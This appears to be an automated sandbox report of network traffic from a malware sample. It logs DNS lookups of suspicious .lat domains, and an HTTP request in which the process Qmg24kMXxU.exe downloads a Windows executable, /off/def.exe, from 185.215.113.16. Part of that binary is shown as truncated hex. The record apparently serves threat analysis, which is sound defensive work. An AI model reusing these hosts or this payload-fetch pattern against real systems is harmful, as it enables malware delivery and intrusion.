Dec 20, 2024 16:20:03.348902941 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.348932028 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.348943949 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.348985910 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.349622011 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.349634886 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.349647999 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.349680901 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.350486040 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.350497961 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.350619078 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.350970984 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.351039886 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.351083994 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.351145983 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.351160049 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.351192951 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.352127075 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.352140903 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.352154016 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.352196932 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.353250980 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.353262901 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.353276968 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.353305101 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.353404999 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.353451967 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.353492022 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.353791952 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.353840113 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.354274035 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.354288101 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.354299068 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.354352951 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.355197906 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.355211020 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.355223894 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.355245113 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.355257034 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.355853081 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.355865002 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.355879068 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.355905056 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.356544971 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.356671095 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.356683016 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.356695890 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.356791019 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.357395887 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.357417107 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.357429981 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.357544899 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.358308077 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.358320951 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.358333111 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.358371973 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.358386993 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.377849102 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.377974033 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.377988100 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.378123999 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.378171921 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.378185034 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.378220081 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.378812075 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.378859997 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.379267931 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.379281044 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.379328966 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.445797920 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.445867062 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.445889950 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.445904016 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.445916891 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.446113110 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.446576118 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.446588993 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.446600914 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.446626902 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.446640015 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.447206020 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.447349072 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.447360992 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.447407007 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.448045969 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.448101044 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.448129892 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.448142052 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.448296070 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.448843002 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.449083090 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.449096918 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.449130058 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.449593067 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.449644089 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.449911118 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.449923992 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.450046062 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.450344086 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.498459101 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.498509884 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.498523951 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.498661041 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.498661041 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.498810053 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.499259949 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.499273062 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.499386072 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.499555111 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.499660015 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.499773026 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.499794960 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.499808073 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.499841928 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.500498056 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.500552893 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.500591993 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.500606060 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.500652075 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.501271009 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.501430988 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.501444101 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.501488924 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.502094984 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.502234936 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.502249002 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.502298117 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.502327919 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.502912998 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.503001928 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.503014088 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.503087044 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.503751993 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.503820896 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.503833055 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.503845930 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.503889084 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.504436970 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.504848957 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.504908085 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.537852049 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.537936926 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.537950039 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.537961960 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.537976027 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.538037062 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.538516045 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.538712025 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.538724899 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.538764954 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.538811922 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.539551020 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.539566040 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.539580107 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.539638996 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.540182114 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.540239096 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.540421009 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.540432930 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.540508986 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.541197062 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.541210890 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.541223049 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.541282892 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.542077065 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.542093039 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.542108059 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.542140007 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.542157888 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.542431116 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.542556047 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.542572021 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.542622089 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.543369055 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.543386936 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.543406010 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.543452978 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.543472052 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.543977976 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.544038057 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.544056892 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.544102907 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.544912100 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.544931889 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.544949055 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.544976950 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.544995070 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.545806885 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.545835972 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.545852900 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.545924902 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.546614885 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.546633959 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.546650887 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.546703100 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.547322989 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.547363043 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.547377110 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.547435045 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.548145056 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.548161983 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.548180103 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.548209906 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.548227072 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.548697948 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.548748016 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.548764944 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.548820972 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.549374104 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.549443007 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:03.570554972 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.570781946 CET	80	49828	185.215.113.16	192.168.2.6
Dec 20, 2024 16:20:03.570854902 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:04.061521053 CET	49828	80	192.168.2.6	185.215.113.16
Dec 20, 2024 16:20:05.999125957 CET	49858	80	192.168.2.6	185.215.113.206
Dec 20, 2024 16:20:06.118707895 CET	80	49858	185.215.113.206	192.168.2.6
Dec 20, 2024 16:20:06.119148970 CET	49858	80	192.168.2.6	185.215.113.206
Dec 20, 2024 16:20:06.119863987 CET	49858	80	192.168.2.6	185.215.113.206
Dec 20, 2024 16:20:06.239496946 CET	80	49858	185.215.113.206	192.168.2.6
Dec 20, 2024 16:20:07.461786032 CET	80	49858	185.215.113.206	192.168.2.6
Dec 20, 2024 16:20:07.461862087 CET	49858	80	192.168.2.6	185.215.113.206
Dec 20, 2024 16:20:07.465087891 CET	49858	80	192.168.2.6	185.215.113.206
Dec 20, 2024 16:20:07.584701061 CET	80	49858	185.215.113.206	192.168.2.6
Dec 20, 2024 16:20:07.911221981 CET	80	49858	185.215.113.206	192.168.2.6
Dec 20, 2024 16:20:07.911302090 CET	49858	80	192.168.2.6	185.215.113.206
Dec 20, 2024 16:20:09.875746012 CET	49858	80	192.168.2.6	185.215.113.206

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 20, 2024 16:19:20.423026085 CET	50602	53	192.168.2.6	1.1.1.1
Dec 20, 2024 16:19:20.561798096 CET	53	50602	1.1.1.1	192.168.2.6
Dec 20, 2024 16:19:20.609339952 CET	59610	53	192.168.2.6	1.1.1.1
Dec 20, 2024 16:19:20.747001886 CET	53	59610	1.1.1.1	192.168.2.6
Dec 20, 2024 16:19:20.771231890 CET	58159	53	192.168.2.6	1.1.1.1
Dec 20, 2024 16:19:21.109960079 CET	53	58159	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 20, 2024 16:19:20.423026085 CET	192.168.2.6	1.1.1.1	0x1531	Standard query (0)	sweepyribs.lat	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:19:20.609339952 CET	192.168.2.6	1.1.1.1	0xc142	Standard query (0)	grannyejh.lat	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:19:20.771231890 CET	192.168.2.6	1.1.1.1	0x3f9e	Standard query (0)	discokeyus.lat	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 20, 2024 16:19:13.926157951 CET	1.1.1.1	192.168.2.6	0x941c	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 16:19:13.926157951 CET	1.1.1.1	192.168.2.6	0x941c	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:19:14.540548086 CET	1.1.1.1	192.168.2.6	0xd92a	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 20, 2024 16:19:14.540548086 CET	1.1.1.1	192.168.2.6	0xd92a	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:19:20.561798096 CET	1.1.1.1	192.168.2.6	0x1531	Name error (3)	sweepyribs.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:19:20.747001886 CET	1.1.1.1	192.168.2.6	0xc142	Name error (3)	grannyejh.lat	none	none	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:19:21.109960079 CET	1.1.1.1	192.168.2.6	0x3f9e	No error (0)	discokeyus.lat		172.67.197.170	A (IP address)	IN (0x0001)	false
Dec 20, 2024 16:19:21.109960079 CET	1.1.1.1	192.168.2.6	0x3f9e	No error (0)	discokeyus.lat		104.21.21.99	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

discokeyus.lat

185.215.113.16

185.215.113.206

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49828	185.215.113.16	80	6508	C:\Users\user\Desktop\Qmg24kMXxU.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 16:19:52.483211994 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 20, 2024 16:19:53.832420111 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 15:19:52 GMT Content-Type: application/octet-stream Content-Length: 2790400 Last-Modified: Fri, 20 Dec 2024 14:40:36 GMT Connection: keep-alive ETag: "676581e4-2a9400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2b 00 00 04 00 00 bc 64 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 44 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ +d+`Ui`D @ @ @.rsrcD``@.idata f@hbdyruff *h@jiwaszqf n@.taggant@"r*@
Dec 20, 2024 16:19:53.832494020 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 16:19:53.832505941 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 16:19:53.832811117 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 16:19:53.832822084 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 16:19:53.832900047 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 16:19:53.832912922 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 16:19:53.833437920 CET	1236	IN	Data Raw: 89 2a 3b 0e 5e 0c 5e ee 4d 0b 44 0e a6 1c 44 0e 80 2a 40 0e 5e 0c 5e 10 a6 0e 44 0e 84 2c 5a 0e 5e 1f 54 0b 5e 6d 44 0e 5e 0f 44 0e 87 2a 2d 0e 5e 08 c6 e1 5d 12 3a 14 81 1c 38 f3 c4 0b 3c 64 8c 09 15 e6 5d 12 3a bc 78 12 44 be a5 19 44 0e 80 46 Data Ascii: ;^^MDD@^^D,Z^T^mD^D-^]:8<d]:xDDFWD26X2DEC?^^Dj^\^><YD(D^T^rD^D-^]:8<d]:VDDF\D26X2DEC?^^D*@^^uZ8
Dec 20, 2024 16:19:53.833451033 CET	1236	IN	Data Raw: 85 0c 44 ca 83 ec 39 10 5e 01 3c 38 7f 0c 44 98 81 04 3b 10 5e 6d 3e 38 7f 0c 44 54 81 04 3b 10 5e 65 3b 3c 81 08 44 90 81 be 39 10 5e 1c 39 14 5e 0c 44 01 7f 04 3b 10 5e 71 3d 38 7f 0c 44 3a 84 04 3b 10 5e c5 39 38 7f 0c 44 d6 59 39 3c 10 5e 6e Data Ascii: D9^<8D;^m>8DT;^e;<D9^9^D;^q=8D:;^98DY9<^n<8DD^x<^DYD^?8D^D^D^DW"DP:]D^C^I=0MD^D^"D*4<]D^C^:^qD^DWDD]%D]C^=^qD^DWDgD]D]C^@^qD]DWDWD
